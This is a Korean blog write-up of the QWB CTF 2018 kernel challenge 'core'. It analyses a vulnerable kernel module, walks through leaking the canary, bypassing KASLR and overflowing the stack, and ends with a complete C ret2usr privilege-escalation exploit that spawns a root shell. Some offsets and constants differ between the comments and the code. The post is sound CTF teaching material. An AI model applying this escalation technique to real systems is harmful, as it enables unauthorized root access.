[Pwnable] core (QWB CTF 2018)

Merry Berry·2024년 12월 8일
0

Pwnable&Reversing

목록 보기
7/7

QWB CTF 2018에 출제되었던 core를 풀어보았다.
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/QWB2018-core

1. 문제 파일 둘러보기

core는 커널 익스플로잇의 가장 기본이 되는 테크닉 ret2usr을 실습할 수 있는 문제다. 먼저 core_give.tar.gz 압축을 풀어보자.

압축 해제 시 아래와 같은 파일이 보인다.

  • bzImage: 커널 이미지
  • core.cpio: 커널 파일 시스템
  • start.sh: qemu 실행 스크립트
  • vmlinux: 심볼이 포함된 커널 elf 파일

core.cpio 파일의 형식이 gzip compressed data이다. 따라서 이름을 core.cpio.gz로 바꿔준 후 gzip으로 압축 해제한다. 그러면 core.cpio의 파일 형식이 cpio archive임을 확인할 수 있다.

core.cpio를 압축 해제하면, 분석해야 할 모듈 core.ko를 얻을 수 있다. 플레이어는 이 모듈을 IDA, ghidra로 분석해 취약점을 찾아야 한다. 또한 init 스크립트도 찾을 수 있는데, 해당 스크립트에 작성된 poweroff -d 120 -f &을 주석 처리하면 시간 제한 없이 마음껏 디버깅할 수 있다. 또한 쾌적한 디버깅을 위해 setuidgid 1000setuidgid 0으로 설정한다. 이는 root 계정으로 qemu에 접속하기 위함인데, KADR 보호 기법과 관계 없이 root 계정은 /proc/kallsyms을 확인할 수 있기 때문이다.

실제 익스플로잇 코드를 테스트할 때에는 setuidgid 1000으로 원상복구해야 한다.
[!] 파일 시스템을 수정했다면 cpio 아카이브를 업데이트해야 한다.

start.sh 스크립트를 보면, KASLR 보호 기법이 적용되었음을 알 수 있다. 따라서 커널의 베이스 주소를 확보하여 KASLR을 우회해야 한다.

start.sh 스크립트 실행 시 부팅이 되지 않는다면, -m 64M-m 512M으로 수정해 보자

커널 디버깅을 위해 gdb 실행 스크립트 run_gdb.sh를 작성한다. 이때 start.sh에는 -s 옵션이 설정되어 있어야 사용할 수 있다.
사용 방법은 간단하다. start.sh를 실행한 후, 다른 터미널에서 run_gdb.sh를 실행하면 된다.

2. core.ko 분석

IDA로 core.ko를 열었더니 위 함수들이 탐색되었다.

2.1. init_module()

proc_create()로 모듈을 생성한다. 해당 함수는 /proc 가상 파일 시스템에 모듈을 생성한다.

함수 호출 시 전달되는 네 번째 인자 core_fopsstruct file_operations 구조체를 의미한다. 해당 구조체에 함수 포인터를 등록함으로써, VFS에서 등록한 함수를 찾아 호출할 수 있도록 한다.

2.2. core_ioctl()

core_ioctl() 함수는 유저 레벨에서 ioctl()함수를 호출할 때 VFS에 의해 내부적으로 호출된다. 두 번째 인자의 값에 따라 아래으 동작을 수행한다.

  • 0x6677889b: 세 번째 인자를 전달하며 core_read() 호출
  • 0x6677889c: off를 3으로 설정
  • 0x6677889a: 세 번째 인자를 전달하며 core_copy_func() 호출

2.3. core_read()

core_read() 함수는 인자로 전달된 주소 a1에 64byte 값을 복사한다. 이때 a1은 유저 프로세스로부터 전달받은 주소 값으로, copy_to_user() API를 이용해 값을 복사한다.
이때 지역(스택) 변수 v5+off을 시작으로 64byte만큼 유저 프로세스에게 전달하므로, 유저 프로세스는 커널 스택 메모리를 읽을 수 있다.

core_ioctl() 함수의 두 번째 인자로 0x6677889b를 호출하면 core_read()를 호출할 수 있다.

코드를 보면 커널 모듈에 Stack Smashing Protection(SSP)가 걸려있는 것을 확인할 수 있다. 따라서 커널 스택의 값을 읽을 수 있다면 canary를 leak할 수 있다.

2.4. core_copy_func()

core_copy_func() 함수는 인자 a1이 63을 넘기는지 확인한 후, 변수 name의 값을 지역 변수 v2a1만큼 저장한다.

그러면 name 변수는 어떻게 설정할까? IDA의 cross reference 기능을 이용하면 쉽게 찾을 수 있다. name 변수를 클릭한 후, 'x'를 클릭해보자.

core_copy_func() 함수뿐만이 아니라, core_write() 함수에도 참조되고 있음을 알 수 있다.

2.5. core_write()

core_write() 함수는 유저 프로세스가 전달한 데이터가 담긴 버퍼 a2name 변수에 a3만큼 복사한다. 이때 세 번째 인자 a3는 0x800보다 작아야 한다.
이 함수를 이용하면 name 변수를 조작할 수 있고, core_copy_func() 함수를 통해 return address를 조작할 수 있다.

3. KASLR 우회

이 문제에는 KASLR을 우회하는 두 가지 방법이 있다. 각 방법에 따라 익스플로잇 코드가 달라지나, 필자는 두 번째 방법을 기준으로 익스플로잇 코드를 작성했다.

3.1. /tmp/kallsyms 이용

파일 시스템에서 init 스크립트를 확인하면 위와 같은 명령어를 확인할 수 있다.

echo 1 > /proc/sys/kernel/kptr_restrictKADR 보호 기법을 활성화하는 명령어로, root가 아닌 일반 유저는 /proc/kallsyms에 있는 심볼 주소 정보를 보여주지 않는다.
하지만 위 스크립트에서 cat /proc/kallsyms > /tmp/kallsyms 명령이 실행됨으로써 /proc/kallsyms의 내용이 /tmp/kallsyms에 저장된다. 따라서 /tmp/kallsyms를 읽음으로써 커널 심볼 주소를 확인할 수 있다.

3.2. 커널 스택의 return address 이용

core_read() 함수는 커널 스택의 값을 읽을 수 있다. 이때 core_read() 함수의 커널 스택에는 core_ioctl()로 return하는 주소와, 커널 코드로 리턴하는 주소가 있다. 이때 커널 코드로 리턴하는 주소커널 베이스 주소+해당 코드의 오프셋이므로, 오프셋만 알아낸다면 커널 베이스 주소를 파악할 수 있다.

4. 익스플로잇 과정 정리

1) core_ioctl()off 변수를 설정한 후, core_read() 함수의 취약점으로 canary커널 코드로 리턴하는 주소 읽기
2) 커널 코드로 리턴하는 주소-해당 코드의 오프셋을 계산해 커널 베이스 주소 파악한 후, prepare_kernel_cred(), commit_creds() 함수의 주소 계산
3) 유저 프로세스에 정의된 익스플로잇 함수 주소와 카나리로 payload를 구성한 후, core_write() 함수로 name 변수에 저장
4) core_user_copy() 함수의 취약점으로, 커널 스택을 name 변수의 값으로 변조함으로써 return address 조작
5) 유저 프로세스에 정의된 익스플로잇 함수 실행

5. 익스플로잇

5.1. off 변수 설정 & canary, 커널 코드로 리턴하는 주소 읽기

core_read() 함수의 v5 변수는 rsp부터 시작하고, rsp+off부터 64byte만큼의 값을 유저 프로세스 영역으로 복사한다. 참고로 canaryrsp+0x40에 위치한다.

core_read() 함수가 실행될 때의 스택을 보면 다음 정보를 확인할 수 있다.

  • rsp+0x40: canary
  • rsp+0x50: core_ioctl()로 리턴하는 주소
  • rsp+0x60: 커널 코드로 리턴하는 주소

core_read() 함수는 64byte를 복사하므로, off0x40으로 맞춘다면 유저 프로세스의 버퍼는 위와 같이 될 것이다.

모듈로부터 읽어 온 데이터에서 canary커널 코드로 리턴하는 주소를 읽어 온다.

5.2. 커널 베이스, prepare_kernel_cred(), commit_creds() 주소 계산

커널 코드로 리턴하는 주소의 오프셋을 구해보자. 커널 코드로 리턴하는 주소-커널 베이스 주소를 계산하면 된다. 0x1dd6d1으로 계산되었다.

계산한 오프셋으로 커널 베이스 주소를 특정한 후, prepare_kernel_cred(), commit_cred() 함수의 주소를 구한다.

5.3. payload 구성 & name 변수 조작

payload를 구성한 후, core_write() 함수를 이용해 name 변수에 저장한다. 이 payload는 추후에 core_copy_func() 함수의 커널 스택에 덮어씌일 것이므로, core_copy_func() 함수의 스택 구조를 파악해야 한다.

core_copy_func() 함수의 어셈블리 코드를 보면 위와 같이 스택이 구성됨을 알 수 있다. name 변수는 rsp부터 덮어씌워지므로, 아래와 같이 payload를 구성해야 한다.

  • payload+0x40: canary
  • payload+0x50: 익스플로잇 함수 (lpe_ret2usr()으로 정의함)

5.4. core_copy_func()의 return address 조작

core_copy_func() 함수는 integer overflow와 stack buffer overflow가 발생한다.

payload의 크기를 0x60임을 가정한 후, core_ioctl()의 세 번째 인자를 0x80000000 00000060으로 전달한다.

디버깅을 하면 실제로 유저 영역(0x401d03)의 코드로 리턴된다.

5.5. 익스플로잇 함수 실행

권한 상승을 일으키는 함수 lpe_ret2usr은 위와 같이 정의되어 있다. 해당 함수는 commit_creds(prepare_kenrel_cred(0))으로 root 권한의 struct cred를 적용하고, swapgs, retq로 커널 모드에서 유저 모드로 전환한다. 이때 retq 전에 rsprv의 시작 주소로 설정함으로써, rv 구조체 변수의 값을 이용해 iretq를 수행한다.

그러면 rv 구조체 변수는 언제 설정되는가? rv 구조체 변수는 core_copy_func() 함수의 return address를 조작하기 직전에 설정하며, backup_rv() 함수가 이를 수행한다. 이때 rvuser_rip 멤버를 shell() 함수의 시작 주소로 설정하는데, 이를 통해 커널 모드에서 유저 모드로 복귀 시 해당 함수를 실행할 수 있도록 한다.

6. 익스플로잇 코드

// gcc -o ex ex.c -masm=intel --static
#include <fcntl.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>

uint64_t __attribute__((regparm(3))) (*commit_creds)(uint64_t cred);
uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred)(uint64_t cred);

struct register_val {
    uint64_t user_rip;
    uint64_t user_cs;
    uint64_t user_rflags;
    uint64_t user_rsp;
    uint64_t user_ss;
} __attribute__((packed));

struct register_val rv;

void shell(void)
{
        system("/bin/sh");
}

void backup_rv(void)
{
        asm("mov rv+8, cs;"
            "pushf; pop rv+16;"
            "mov rv+24, rsp;"
            "mov rv+32, ss;"
           );
        rv.user_rip = (uint64_t)shell;
}

void lpe_ret2usr(void)
{
        commit_creds(prepare_kernel_cred(0));
        asm("swapgs;"
            "mov %%rsp, %0;"
            "iretq;"
            : : "r" (&rv));
}

uint64_t btoll(const unsigned char *bytes)
{
        uint64_t result = 0;
        int i = 0;

        for (i = 0; i < 8; i++) {
                uint64_t temp = bytes[i];
                result += temp << (8 * i);
        }

        return result;
}

int main(void)
{
        int fd;
        unsigned char buf[0x40], payload[0x60];
        uint64_t canary, retaddr, kernel_base, lpe_ret2usr_pointer;
        
        if ((fd = open("/proc/core", O_RDWR)) == -1) {
                perror("open()");
                return -1;
        }

        // LEAK CANARY
        // set off=0x40
        ioctl(fd, 0x6677889c, 0x40);
        // 0x8 canary + 0x8 pushed rbx + 0x8 retaddr to core_ioctl + 0x8 dummy + 0x8 retaddr to kernel code
        // canary: rsp+0x40 ~ rsp+0x47
        // return to kernel code: rsp+0x60 ~ rsp+0x67
        // core_ioctl is called by kernel subsystem
        ioctl(fd, 0x6677889b, buf);

        canary = btoll(buf);
        retaddr = btoll(buf+0x20);

        // retaddr to kernel code - 0x1dd6d1 = kernel base address
        // prepare_kernel_cred = kernel base address + 0x9cad0
        // commit_creds = kernel base address + 0x9c8e0
        kernel_base = (retaddr - 0x1dd6d1);
        prepare_kernel_cred = kernel_base + 0x9cce0;
        commit_creds = kernel_base + 0x9c8e0;

        printf("canary : %#lx\n", canary);
        printf("kbase  : %#lx\n", kernel_base);
        printf("prepare: %#lx\n", prepare_kernel_cred);
        printf("commit : %#lx\n", commit_creds);

        memcpy(payload + 0x40, &canary, 8);
        lpe_ret2usr_pointer = (uint64_t)lpe_ret2usr;
        memcpy(payload + 0x50, &lpe_ret2usr_pointer, 8);

        write(fd, payload, 0x60);

        backup_rv(); //set iretq stack
        ioctl(fd, 0x6677889a, 0xf000000000000060);

        return 0;
}

0개의 댓글